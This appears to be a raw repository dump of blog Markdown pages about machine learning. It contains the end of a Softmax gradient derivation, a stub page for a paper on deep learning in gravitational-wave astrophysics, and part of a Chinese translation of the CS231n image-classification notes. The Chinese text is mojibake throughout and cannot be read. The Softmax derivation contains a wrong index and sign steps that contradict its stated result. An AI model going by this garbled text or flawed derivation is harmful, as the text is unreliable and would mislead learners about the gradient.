self.best_params # ๆœ€ๅŽๆŠŠๅพ—ๅˆฐ็š„ๆœ€ไฝณๆจกๅž‹ๅ‚ๆ•ฐๅญ˜ๅ…ฅๅˆฐๆจกๅž‹ไธญ\n```\n\n\n\n\n\n\n\n\n\n\n\n<span id=\"1\">Softmaxๅˆ†็ฑปๅ™จๆขฏๅบฆ็š„่ฏๆ˜Ž่ฟ‡็จ‹๏ผš</span>\n\nๅ…ณไบŽ็Ÿฉ้˜ต$L_{ij}$ไธญ็ฌฌ$i$่กŒใ€็ฌฌ$j$ๅˆ—ๅ…ƒ็ด ็š„ๅ…จๅพฎๅˆ†๏ผš\n$$\n\\begin{align*}\ndL_{ij}=-\\frac{1}{N}d\\left(\\log[S_{ij}] \\right) \n&=-\\frac{1}{N}d\\left(\\log[\\frac{e^{x_{ij}}}{\\sum_ke^{x_{ik}}}] \\right) \\\\\n&=-\\frac{1}{N}\\frac{\\sum_ke^{x_{ik}}}{e^{x_{ik}}}\\left(\\frac{e^{x_{ij}}}{\\sum_ke^{x_{ik}}}dx_{ij} -\\frac{e^{x_{ij}}d(\\sum_ke^{x_{ik}})}{\\sum_ke^{x_{ik}}\\sum_le^{x_{il}}} \\right) \\\\\n&=-\\frac{1}{N}\\left(dx_{ij} -\\frac{e^{x_{ij}}dx_{ij}+e^{x_{ik}}dx_{ik}}{\\sum_le^{x_{il}}} \\right) \\,\\,\\,\\,\\,\\,\\, (k\\neq j) \\\\\n&=\\frac{1}{N}(1-S_{ij})dx_{ij} +\\frac{1}{N}S_{ik}dx_{ik} \\,\\,\\,\\,\\,\\,\\,(k\\neq j) \\\\\n\\end{align*}\n$$\nๅ†็”ฑๅ…จๅพฎๅˆ†ๅ…ฌๅผ $dL_{ij}=\\frac{\\partial L_{ij}}{\\partial x_{ij}}dx_{ij}+\\frac{\\partial L_{ij}}{\\partial x_{ik}}dx_{ik}$๏ผŒๅฏๅพ—ๅ‡บ๏ผš\n$$\n\\begin{align*}\n &\\frac{\\partial L_{ij}}{\\partial x_{ij}} = \\frac{1}{N}(S_{ij}-1)\\,\\,,\\\\\n &\\frac{\\partial L_{ij}}{\\partial x_{il}} = \\frac{1}{N}S_{il}\\,.\\,\\,\\,\\,\\,(l\\neq j)\n\\end{align*}\n$$\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_story_MLP.html#header-n2041)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.6622864603996277, "alphanum_fraction": 0.7109066843986511, "avg_line_length": 22.430768966674805, "blob_id": "2b6588d55320823d347a83851d3ea56677971344", "content_id": "b1658760efe6a8bc32fa7c59cdb33f485039c5de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1558, "license_type": "no_license", "max_line_length": 394, "num_lines": 65, "path": "/blog/paper_summary/Deep neural networks to enable real-time multimessenger astrophysics.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Deep neural networks to enable real-time multimessenger astrophysics\ndate: 2018-09-14\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n![](https://i.loli.net/2018/08/24/5b7fffecd8d1d.png)\n\n# Deep neural networks to enable real-time multimessenger astrophysics (2017)\n\n>George D, Huerta E A. \"Deep neural networks to enable real-time multimessenger astrophysics\"[J]. Physical Review D, 2018, 97(4): 044039.\n\n\n\n<iframe src=\"./Deep neural networks to enable real-time multimessenger astrophysics.pdf\" style=\"width:1000px; height:1000px;\" width=\"100%\" height=100%>This browser does not support PDFs. Please download the PDF to view it: <a href=\"https://arxiv.org/pdf/1701.00008v3.pdf\">Download PDF</a></iframe>\n\n\n\n> FYI๏ผš\n>\n\n\n\n[TOC]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./Deep neural networks to enable real-time multimessenger astrophysics.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.6212490200996399, "alphanum_fraction": 0.6463648676872253, "avg_line_length": 39.64985656738281, "blob_id": "71b1674a9f83adba0c9632dbcd726d74049cea16", "content_id": "4ee7fd797e5fcc64b287cbf6136b723ba9912501", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 62610, "license_type": "no_license", "max_line_length": 527, "num_lines": 1051, "path": "/blog/cs231n/CS231n_image_classification_note.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n - Image Classification Note\ndate: 2018-08-19\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n\n# CS231n่ฏพ็จ‹่ฎฒไน‰็ฟป่ฏ‘๏ผšๅ›พๅƒๅˆ†็ฑป\n\n> **่‡ชๆณจ๏ผš**ๆญคๆ–‡ๆ˜ฏๅœจ่ฝฌ่ฝฝ็š„ๅŸบ็ก€ไธŠ๏ผŒ้€š่ฟ‡็ฝ‘็ปœๆœ้›†ๅ…ถไป–็›ธๅ…ณๅญฆไน ่ต„ๆ–™๏ผŒๅ†็ป“ๅˆ่‡ชๅทฑ็†่งฃไธ‹๏ผŒๅกซๅ……ๅนถๆณจ้‡Šไบ†ๆ›ดๅคš็š„็ป†่Š‚ๅ’Œๅ†…ๅฎน๏ผŒไปฅๆญค่ฏฆๅฐฝ็š„ๆ–‡ๆœฌ่ต„ๆ–™ไปฃๆ›ฟๅ„็ง่ง†้ข‘่ฏพ็จ‹็ญ‰่ต„ๆ–™๏ผŒๆ–นไพฟ่‡ชๅทฑๅ›žๅคด็ฟปๆŸฅใ€‚\n>\n> ่ฝฌ่ฝฝ่ฏทๆณจๆ˜Žๆœฌๆ–‡ๅ‡บๅค„ๅ’Œ[ๅŽŸ่ฏ‘ๆ–‡](https://zhuanlan.zhihu.com/p/20894041?refer=intelligentunit)ๅ‡บๅค„ใ€‚\n>\n> ๏ผˆไธชไบบๅกซๅ……็š„ๅ†…ๅฎนๅŒ…ๆ‹ฌ๏ผšไธ‹ๅˆ’็บฟใ€ๆณจๆ˜Žโ€œ่‡ชๆณจโ€๏ผ‰\n\n> **่ฏ‘่€…ๆณจ**๏ผšๆœฌๆ–‡[ๆ™บ่ƒฝๅ•ๅ…ƒ](https://zhuanlan.zhihu.com/intelligentunit)้ฆ–ๅ‘๏ผŒ่ฏ‘่‡ชๆ–ฏๅฆ็ฆCS231n่ฏพ็จ‹็ฌ”่ฎฐ[image classification notes](http://link.zhihu.com/?target=http%3A//cs231n.github.io/classification)๏ผŒ็”ฑ่ฏพ็จ‹ๆ•™ๅธˆ[Andrej Karpathy](http://link.zhihu.com/?target=http%3A//cs.stanford.edu/people/karpathy/)ๆŽˆๆƒ่ฟ›่กŒ็ฟป่ฏ‘ใ€‚ๆœฌ็ฏ‡ๆ•™็จ‹็”ฑ[ๆœๅฎข](https://www.zhihu.com/people/du-ke)็ฟป่ฏ‘ๅฎŒๆˆใ€‚[ShiqingFan](https://www.zhihu.com/people/sqfan)ๅฏน่ฏ‘ๆ–‡่ฟ›่กŒไบ†ไป”็ป†ๆ กๅฏน๏ผŒๆๅ‡บไบ†ๅคง้‡ไฟฎๆ”นๅปบ่ฎฎ๏ผŒๆ€ๅบฆไธฅ่ฐจ๏ผŒๅธฎๅŠฉ็”šๅคšใ€‚[ๅทฉๅญๅ˜‰](https://www.zhihu.com/people/gong-zi-jia-57)ๅฏนๅ‡ ๅค„ๆœฏ่ฏญไฝฟ็”จๅ’Œ็ฟป่ฏ‘ไผ˜ๅŒ–ไนŸๆๅ‡บไบ†ๅพˆๅฅฝ็š„ๅปบ่ฎฎใ€‚[ๅผ ๆฌฃ](https://www.zhihu.com/people/zhangxinnan)็ญ‰ไบฆๆœ‰ๅธฎๅŠฉใ€‚\n\n[TOC]\n\n่ฟ™ๆ˜ฏไธ€็ฏ‡ไป‹็ปๆ€งๆ•™็จ‹๏ผŒ้ขๅ‘้ž่ฎก็ฎ—ๆœบ่ง†่ง‰้ข†ๅŸŸ็š„ๅŒๅญฆใ€‚ๆ•™็จ‹ๅฐ†ๅ‘ๅŒๅญฆไปฌไป‹็ปๅ›พๅƒๅˆ†็ฑป้—ฎ้ข˜ๅ’Œๆ•ฐๆฎ้ฉฑๅŠจๆ–นๆณ•ใ€‚ไธ‹้ขๆ˜ฏ**ๅ†…ๅฎนๅˆ—่กจ**๏ผš\n\n- ๅ›พๅƒๅˆ†็ฑปใ€ๆ•ฐๆฎ้ฉฑๅŠจๆ–นๆณ•ๅ’Œๆต็จ‹\n- Nearest Neighborๅˆ†็ฑปๅ™จ\n- - k-Nearest Neighbor\n- ้ชŒ่ฏ้›†ใ€ไบคๅ‰้ชŒ่ฏ้›†ๅ’Œ่ถ…ๅ‚ๆ•ฐ่ฐƒๅ‚\n- Nearest Neighbor็š„ไผ˜ๅŠฃ\n- ๅฐ็ป“\n- ๅฐ็ป“๏ผšๅบ”็”จkNNๅฎž่ทต\n- ๆ‹“ๅฑ•้˜…่ฏป\n- ไฝœไธš๏ผšk-Nearest Neighbor (kNN)\n\n\n- โ€‹\n\n## ๅ›พๅƒๅˆ†็ฑป\n\n**็›ฎๆ ‡**๏ผš่ฟ™ไธ€่Š‚ๆˆ‘ไปฌๅฐ†ไป‹็ปๅ›พๅƒๅˆ†็ฑป้—ฎ้ข˜ใ€‚ๆ‰€่ฐ“ๅ›พๅƒๅˆ†็ฑป้—ฎ้ข˜๏ผŒๅฐฑๆ˜ฏๅทฒๆœ‰ๅ›บๅฎš็š„ๅˆ†็ฑปๆ ‡็ญพ้›†ๅˆ๏ผŒ็„ถๅŽๅฏนไบŽ่พ“ๅ…ฅ็š„ๅ›พๅƒ๏ผŒไปŽๅˆ†็ฑปๆ ‡็ญพ้›†ๅˆไธญๆ‰พๅ‡บไธ€ไธชๅˆ†็ฑปๆ ‡็ญพ๏ผŒๆœ€ๅŽๆŠŠๅˆ†็ฑปๆ ‡็ญพๅˆ†้…็ป™่ฏฅ่พ“ๅ…ฅๅ›พๅƒใ€‚่™ฝ็„ถ็œ‹่ตทๆฅๆŒบ็ฎ€ๅ•็š„๏ผŒไฝ†่ฟ™ๅฏๆ˜ฏ่ฎก็ฎ—ๆœบ่ง†่ง‰้ข†ๅŸŸ็š„ๆ ธๅฟƒ้—ฎ้ข˜ไน‹ไธ€๏ผŒๅนถไธ”ๆœ‰็€ๅ„็งๅ„ๆ ท็š„ๅฎž้™…ๅบ”็”จใ€‚<u>ๅœจๅŽ้ข็š„่ฏพ็จ‹ไธญ๏ผŒๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐ่ฎก็ฎ—ๆœบ่ง†่ง‰้ข†ๅŸŸไธญๅพˆๅคš็œ‹ไผผไธๅŒ็š„้—ฎ้ข˜๏ผˆๆฏ”ๅฆ‚็‰ฉไฝ“ๆฃ€ๆต‹ๅ’Œๅˆ†ๅ‰ฒ๏ผ‰๏ผŒ้ƒฝๅฏไปฅ่ขซๅฝ’็ป“ไธบๅ›พๅƒๅˆ†็ฑป้—ฎ้ข˜ใ€‚</u>\n\n**ไพ‹ๅญ**๏ผšไปฅไธ‹ๅ›พไธบไพ‹๏ผŒๅ›พๅƒๅˆ†็ฑปๆจกๅž‹่ฏปๅ–่ฏฅๅ›พ็‰‡๏ผŒๅนถ็”Ÿๆˆ่ฏฅๅ›พ็‰‡ๅฑžไบŽ้›†ๅˆ {cat, dog, hat, mug}ไธญๅ„ไธชๆ ‡็ญพ็š„ๆฆ‚็Ž‡ใ€‚้œ€่ฆๆณจๆ„็š„ๆ˜ฏ๏ผŒๅฏนไบŽ่ฎก็ฎ—ๆœบๆฅ่ฏด๏ผŒๅ›พๅƒๆ˜ฏไธ€ไธช็”ฑๆ•ฐๅญ—็ป„ๆˆ็š„ๅทจๅคง็š„3็ปดๆ•ฐ็ป„ใ€‚ๅœจ่ฟ™ไธชไพ‹ๅญไธญ๏ผŒ็Œซ็š„ๅ›พๅƒๅคงๅฐๆ˜ฏๅฎฝ248ๅƒ็ด ๏ผŒ้ซ˜400ๅƒ็ด ๏ผŒๆœ‰3ไธช้ขœ่‰ฒ้€š้“๏ผŒๅˆ†ๅˆซๆ˜ฏ็บขใ€็ปฟๅ’Œ่“๏ผˆ็ฎ€็งฐRGB๏ผ‰ใ€‚ๅฆ‚ๆญค๏ผŒ่ฏฅๅ›พๅƒๅฐฑๅŒ…ๅซไบ†248X400X3=297600ไธชๆ•ฐๅญ—๏ผŒๆฏไธชๆ•ฐๅญ—้ƒฝๆ˜ฏๅœจ่Œƒๅ›ด0-255ไน‹้—ด็š„ๆ•ดๅž‹๏ผŒๅ…ถไธญ0่กจ็คบๅ…จ้ป‘๏ผŒ255่กจ็คบๅ…จ็™ฝใ€‚ๆˆ‘ไปฌ็š„ไปปๅŠกๅฐฑๆ˜ฏๆŠŠ่ฟ™ไบ›ไธŠ็™พไธ‡็š„ๆ•ฐๅญ—ๅ˜ๆˆไธ€ไธช็ฎ€ๅ•็š„ๆ ‡็ญพ๏ผŒๆฏ”ๅฆ‚โ€œ็Œซโ€ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e098d8bc6f.png)\n\nๅ›พๅƒๅˆ†็ฑป็š„ไปปๅŠก๏ผŒๅฐฑๆ˜ฏๅฏนไบŽไธ€ไธช็ป™ๅฎš็š„ๅ›พๅƒ๏ผŒ้ข„ๆต‹ๅฎƒๅฑžไบŽ็š„้‚ฃไธชๅˆ†็ฑปๆ ‡็ญพ๏ผˆๆˆ–่€…็ป™ๅ‡บๅฑžไบŽไธ€็ณปๅˆ—ไธๅŒๆ ‡็ญพ็š„ๅฏ่ƒฝๆ€ง๏ผ‰ใ€‚ๅ›พๅƒๆ˜ฏ3็ปดๆ•ฐ็ป„๏ผŒๆ•ฐ็ป„ๅ…ƒ็ด ๆ˜ฏๅ–ๅ€ผ่Œƒๅ›ดไปŽ0ๅˆฐ255็š„ๆ•ดๆ•ฐใ€‚ๆ•ฐ็ป„็š„ๅฐบๅฏธๆ˜ฏๅฎฝๅบฆx้ซ˜ๅบฆx3๏ผŒๅ…ถไธญ่ฟ™ไธช3ไปฃ่กจ็š„ๆ˜ฏ็บขใ€็ปฟๅ’Œ่“3ไธช้ขœ่‰ฒ้€š้“ใ€‚\n\n---\n\n**ๅ›ฐ้šพๅ’ŒๆŒ‘ๆˆ˜**๏ผšๅฏนไบŽไบบๆฅ่ฏด๏ผŒ่ฏ†ๅˆซๅ‡บไธ€ไธชๅƒโ€œ็Œซโ€ไธ€ๆ ท่ง†่ง‰ๆฆ‚ๅฟตๆ˜ฏ็ฎ€ๅ•่‡ณๆž็š„๏ผŒ็„ถ่€ŒไปŽ่ฎก็ฎ—ๆœบ่ง†่ง‰็ฎ—ๆณ•็š„่ง’ๅบฆๆฅ็œ‹ๅฐฑๅ€ผๅพ—ๆทฑๆ€ไบ†ใ€‚ๆˆ‘ไปฌๅœจไธ‹้ขๅˆ—ไธพไบ†่ฎก็ฎ—ๆœบ่ง†่ง‰็ฎ—ๆณ•ๅœจๅ›พๅƒ่ฏ†ๅˆซๆ–น้ข้‡ๅˆฐ็š„ไธ€ไบ›ๅ›ฐ้šพ๏ผŒ<u>่ฆ่ฎฐไฝๅ›พๅƒๆ˜ฏไปฅ3็ปดๆ•ฐ็ป„ๆฅ่กจ็คบ็š„๏ผŒๆ•ฐ็ป„ไธญ็š„ๅ…ƒ็ด ๆ˜ฏไบฎๅบฆๅ€ผ</u>ใ€‚\n\n- **่ง†่ง’ๅ˜ๅŒ–๏ผˆViewpoint variation๏ผ‰**๏ผšๅŒไธ€ไธช็‰ฉไฝ“๏ผŒๆ‘„ๅƒๆœบๅฏไปฅไปŽๅคšไธช่ง’ๅบฆๆฅๅฑ•็Žฐใ€‚\n- **ๅคงๅฐๅ˜ๅŒ–๏ผˆScale variation๏ผ‰**๏ผš็‰ฉไฝ“ๅฏ่ง†็š„ๅคงๅฐ้€šๅธธๆ˜ฏไผšๅ˜ๅŒ–็š„๏ผˆไธไป…ๆ˜ฏๅœจๅ›พ็‰‡ไธญ๏ผŒๅœจ็œŸๅฎžไธ–็•ŒไธญๅคงๅฐไนŸๆ˜ฏๅ˜ๅŒ–็š„๏ผ‰ใ€‚\n- **ๅฝขๅ˜๏ผˆDeformation๏ผ‰**๏ผšๅพˆๅคšไธœ่ฅฟ็š„ๅฝข็Šถๅนถ้žไธ€ๆˆไธๅ˜๏ผŒไผšๆœ‰ๅพˆๅคงๅ˜ๅŒ–ใ€‚\n- **้ฎๆŒก๏ผˆOcclusion๏ผ‰**๏ผš็›ฎๆ ‡็‰ฉไฝ“ๅฏ่ƒฝ่ขซๆŒกไฝใ€‚ๆœ‰ๆ—ถๅ€™ๅชๆœ‰็‰ฉไฝ“็š„ไธ€ๅฐ้ƒจๅˆ†๏ผˆๅฏไปฅๅฐๅˆฐๅ‡ ไธชๅƒ็ด ๏ผ‰ๆ˜ฏๅฏ่ง็š„ใ€‚\n- **ๅ…‰็…งๆกไปถ๏ผˆIllumination conditions๏ผ‰**๏ผšๅœจๅƒ็ด ๅฑ‚้ขไธŠ๏ผŒๅ…‰็…ง็š„ๅฝฑๅ“้žๅธธๅคงใ€‚\n- **่ƒŒๆ™ฏๅนฒๆ‰ฐ๏ผˆBackground clutter๏ผ‰**๏ผš็‰ฉไฝ“ๅฏ่ƒฝๆททๅ…ฅ่ƒŒๆ™ฏไน‹ไธญ๏ผŒไฝฟไน‹้šพไปฅ่ขซ่พจ่ฎคใ€‚\n- **็ฑปๅ†…ๅทฎๅผ‚๏ผˆIntra-class variation๏ผ‰**๏ผšไธ€็ฑป็‰ฉไฝ“็š„ไธชไฝ“ไน‹้—ด็š„ๅค–ๅฝขๅทฎๅผ‚ๅพˆๅคง๏ผŒๆฏ”ๅฆ‚ๆค…ๅญใ€‚่ฟ™ไธ€็ฑป็‰ฉไฝ“ๆœ‰่ฎธๅคšไธๅŒ็š„ๅฏน่ฑก๏ผŒๆฏไธช้ƒฝๆœ‰่‡ชๅทฑ็š„ๅค–ๅฝขใ€‚\n\n้ขๅฏนไปฅไธŠๆ‰€ๆœ‰ๅ˜ๅŒ–ๅŠๅ…ถ็ป„ๅˆ๏ผŒๅฅฝ็š„ๅ›พๅƒๅˆ†็ฑปๆจกๅž‹่ƒฝๅคŸๅœจ็ปดๆŒๅˆ†็ฑป็ป“่ฎบ็จณๅฎš็š„ๅŒๆ—ถ๏ผŒไฟๆŒๅฏน็ฑป้—ดๅทฎๅผ‚่ถณๅคŸๆ•ๆ„Ÿใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e09a3f0359.png)\n\n---\n\n**ๆ•ฐๆฎ้ฉฑๅŠจๆ–นๆณ•**๏ผšๅฆ‚ไฝ•ๅ†™ไธ€ไธชๅ›พๅƒๅˆ†็ฑป็š„็ฎ—ๆณ•ๅ‘ข๏ผŸ่ฟ™ๅ’Œๅ†™ไธชๆŽ’ๅบ็ฎ—ๆณ•ๅฏๆ˜ฏๅคงไธไธ€ๆ ทใ€‚ๆ€Žไนˆๅ†™ไธ€ไธชไปŽๅ›พๅƒไธญ่ฎคๅ‡บ็Œซ็š„็ฎ—ๆณ•๏ผŸๆžไธๆธ…ๆฅšใ€‚ๅ› ๆญค๏ผŒไธŽๅ…ถๅœจไปฃ็ ไธญ็›ดๆŽฅๅ†™ๆ˜Žๅ„็ฑป็‰ฉไฝ“ๅˆฐๅบ•็œ‹่ตทๆฅๆ˜ฏไป€ไนˆๆ ท็š„๏ผŒๅ€’ไธๅฆ‚่ฏดๆˆ‘ไปฌ้‡‡ๅ–็š„ๆ–นๆณ•ๅ’Œๆ•™ๅฐๅญฉๅ„ฟ็œ‹ๅ›พ่ฏ†็‰ฉ็ฑปไผผ๏ผš็ป™่ฎก็ฎ—ๆœบๅพˆๅคšๆ•ฐๆฎ๏ผŒ็„ถๅŽๅฎž็Žฐๅญฆไน ็ฎ—ๆณ•๏ผŒ่ฎฉ่ฎก็ฎ—ๆœบๅญฆไน ๅˆฐๆฏไธช็ฑป็š„ๅค–ๅฝขใ€‚่ฟ™็งๆ–นๆณ•๏ผŒๅฐฑๆ˜ฏ***ๆ•ฐๆฎ้ฉฑๅŠจๆ–นๆณ•***ใ€‚ๆ—ข็„ถ<u>่ฏฅๆ–นๆณ•็š„็ฌฌไธ€ๆญฅๅฐฑๆ˜ฏๆ”ถ้›†ๅทฒ็ปๅšๅฅฝๅˆ†็ฑปๆ ‡ๆณจ็š„ๅ›พ็‰‡ๆฅไฝœไธบ่ฎญ็ปƒ้›†</u>๏ผŒ้‚ฃไนˆไธ‹้ขๅฐฑ็œ‹็œ‹ๆ•ฐๆฎๅบ“ๅˆฐๅบ•้•ฟไป€ไนˆๆ ท๏ผš\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e09b9e4e1c.png)\n\nไธ€ไธชๆœ‰4ไธช่ง†่ง‰ๅˆ†็ฑป็š„่ฎญ็ปƒ้›†ใ€‚ๅœจๅฎž้™…ไธญ๏ผŒๆˆ‘ไปฌๅฏ่ƒฝๆœ‰ไธŠๅƒ็š„ๅˆ†็ฑป๏ผŒๆฏไธชๅˆ†็ฑป้ƒฝๆœ‰ๆˆๅƒไธŠไธ‡็š„ๅ›พๅƒใ€‚\n\n---\n\n**ๅ›พๅƒๅˆ†็ฑปๆต็จ‹**ใ€‚ๅœจ่ฏพ็จ‹่ง†้ข‘ไธญๅทฒ็ปๅญฆไน ่ฟ‡๏ผŒ**ๅ›พๅƒๅˆ†็ฑป**ๅฐฑๆ˜ฏ่พ“ๅ…ฅไธ€ไธชๅ…ƒ็ด ไธบๅƒ็ด ๅ€ผ็š„ๆ•ฐ็ป„๏ผŒ็„ถๅŽ็ป™ๅฎƒๅˆ†้…ไธ€ไธชๅˆ†็ฑปๆ ‡็ญพใ€‚ๅฎŒๆ•ดๆต็จ‹ๅฆ‚ไธ‹๏ผš\n\n- **่พ“ๅ…ฅ**๏ผš่พ“ๅ…ฅๆ˜ฏๅŒ…ๅซNไธชๅ›พๅƒ็š„้›†ๅˆ๏ผŒๆฏไธชๅ›พๅƒ็š„ๆ ‡็ญพๆ˜ฏK็งๅˆ†็ฑปๆ ‡็ญพไธญ็š„ไธ€็งใ€‚่ฟ™ไธช้›†ๅˆ็งฐไธบ***่ฎญ็ปƒ้›†ใ€‚***\n- **ๅญฆไน **๏ผš่ฟ™ไธ€ๆญฅ็š„ไปปๅŠกๆ˜ฏไฝฟ็”จ่ฎญ็ปƒ้›†ๆฅๅญฆไน ๆฏไธช็ฑปๅˆฐๅบ•้•ฟไป€ไนˆๆ ทใ€‚ไธ€่ˆฌ่ฏฅๆญฅ้ชคๅซๅš***่ฎญ็ปƒๅˆ†็ฑปๅ™จ***ๆˆ–่€…***ๅญฆไน ไธ€ไธชๆจกๅž‹***ใ€‚\n- **่ฏ„ไปท**๏ผš่ฎฉๅˆ†็ฑปๅ™จๆฅ้ข„ๆต‹ๅฎƒๆœชๆ›พ่ง่ฟ‡็š„ๅ›พๅƒ็š„ๅˆ†็ฑปๆ ‡็ญพ๏ผŒๅนถไปฅๆญคๆฅ่ฏ„ไปทๅˆ†็ฑปๅ™จ็š„่ดจ้‡ใ€‚ๆˆ‘ไปฌไผšๆŠŠๅˆ†็ฑปๅ™จ้ข„ๆต‹็š„ๆ ‡็ญพๅ’Œๅ›พๅƒ็œŸๆญฃ็š„ๅˆ†็ฑปๆ ‡็ญพๅฏนๆฏ”ใ€‚ๆฏซๆ— ็–‘้—ฎ๏ผŒๅˆ†็ฑปๅ™จ้ข„ๆต‹็š„ๅˆ†็ฑปๆ ‡็ญพๅ’Œๅ›พๅƒ็œŸๆญฃ็š„ๅˆ†็ฑปๆ ‡็ญพๅฆ‚ๆžœไธ€่‡ด๏ผŒ้‚ฃๅฐฑๆ˜ฏๅฅฝไบ‹๏ผŒ่ฟ™ๆ ท็š„ๆƒ…ๅ†ต่ถŠๅคš่ถŠๅฅฝใ€‚\n\n## Nearest Neighborๅˆ†็ฑปๅ™จ\n\nไฝœไธบ่ฏพ็จ‹ไป‹็ป็š„็ฌฌไธ€ไธชๆ–นๆณ•๏ผŒๆˆ‘ไปฌๆฅๅฎž็Žฐไธ€ไธช**Nearest Neighborๅˆ†็ฑปๅ™จ**ใ€‚่™ฝ็„ถ่ฟ™ไธชๅˆ†็ฑปๅ™จๅ’Œๅท็งฏ็ฅž็ป็ฝ‘็ปœๆฒกๆœ‰ไปปไฝ•ๅ…ณ็ณป๏ผŒๅฎž้™…ไธญไนŸๆžๅฐ‘ไฝฟ็”จ๏ผŒไฝ†้€š่ฟ‡ๅฎž็Žฐๅฎƒ๏ผŒๅฏไปฅ่ฎฉ่ฏป่€…ๅฏนไบŽ่งฃๅ†ณๅ›พๅƒๅˆ†็ฑป้—ฎ้ข˜็š„ๆ–นๆณ•ๆœ‰ไธชๅŸบๆœฌ็š„่ฎค่ฏ†ใ€‚\n\n**ๅ›พๅƒๅˆ†็ฑปๆ•ฐๆฎ้›†๏ผšCIFAR-10ใ€‚**ไธ€ไธช้žๅธธๆต่กŒ็š„ๅ›พๅƒๅˆ†็ฑปๆ•ฐๆฎ้›†ๆ˜ฏ[CIFAR-10](http://www.cs.toronto.edu/~kriz/cifar.html)ใ€‚่ฟ™ไธชๆ•ฐๆฎ้›†ๅŒ…ๅซไบ†60000ๅผ 32X32็š„ๅฐๅ›พๅƒใ€‚ๆฏๅผ ๅ›พๅƒ้ƒฝๆœ‰10็งๅˆ†็ฑปๆ ‡็ญพไธญ็š„ไธ€็งใ€‚่ฟ™60000ๅผ ๅ›พๅƒ่ขซๅˆ†ไธบๅŒ…ๅซ50000ๅผ ๅ›พๅƒ็š„่ฎญ็ปƒ้›†ๅ’ŒๅŒ…ๅซ10000ๅผ ๅ›พๅƒ็š„ๆต‹่ฏ•้›†ใ€‚ๅœจไธ‹ๅ›พไธญไฝ ๅฏไปฅ็œ‹่ง10ไธช็ฑป็š„10ๅผ ้šๆœบๅ›พ็‰‡ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e09e091da6.png)\n\n**ๅทฆ่พน**๏ผšไปŽ[CIFAR-10](http://www.cs.toronto.edu/~kriz/cifar.html)ๆ•ฐๆฎๅบ“ๆฅ็š„ๆ ทๆœฌๅ›พๅƒใ€‚**ๅณ่พน**๏ผš็ฌฌไธ€ๅˆ—ๆ˜ฏๆต‹่ฏ•ๅ›พๅƒ๏ผŒ็„ถๅŽ็ฌฌไธ€ๅˆ—็š„ๆฏไธชๆต‹่ฏ•ๅ›พๅƒๅณ่พนๆ˜ฏไฝฟ็”จNearest Neighbor็ฎ—ๆณ•๏ผŒๆ นๆฎๅƒ็ด ๅทฎๅผ‚๏ผŒไปŽ่ฎญ็ปƒ้›†ไธญ้€‰ๅ‡บ็š„10ๅผ ๆœ€็ฑปไผผ็š„ๅ›พ็‰‡ใ€‚\n\n---\n\nๅ‡่ฎพ็Žฐๅœจๆˆ‘ไปฌๆœ‰CIFAR-10็š„50000ๅผ ๅ›พ็‰‡๏ผˆๆฏ็งๅˆ†็ฑป5000ๅผ ๏ผ‰ไฝœไธบ่ฎญ็ปƒ้›†๏ผŒๆˆ‘ไปฌๅธŒๆœ›ๅฐ†ไฝ™ไธ‹็š„10000ไฝœไธบๆต‹่ฏ•้›†ๅนถ็ป™ไป–ไปฌๆ‰“ไธŠๆ ‡็ญพใ€‚Nearest Neighbor็ฎ—ๆณ•ๅฐ†ไผšๆ‹ฟ็€ๆต‹่ฏ•ๅ›พ็‰‡ๅ’Œ่ฎญ็ปƒ้›†ไธญๆฏไธ€ๅผ ๅ›พ็‰‡ๅŽปๆฏ”่พƒ๏ผŒ็„ถๅŽๅฐ†ๅฎƒ่ฎคไธบๆœ€็›ธไผผ็š„้‚ฃไธช่ฎญ็ปƒ้›†ๅ›พ็‰‡็š„ๆ ‡็ญพ่ต‹็ป™่ฟ™ๅผ ๆต‹่ฏ•ๅ›พ็‰‡ใ€‚ไธŠ้ขๅณ่พน็š„ๅ›พ็‰‡ๅฐฑๅฑ•็คบไบ†่ฟ™ๆ 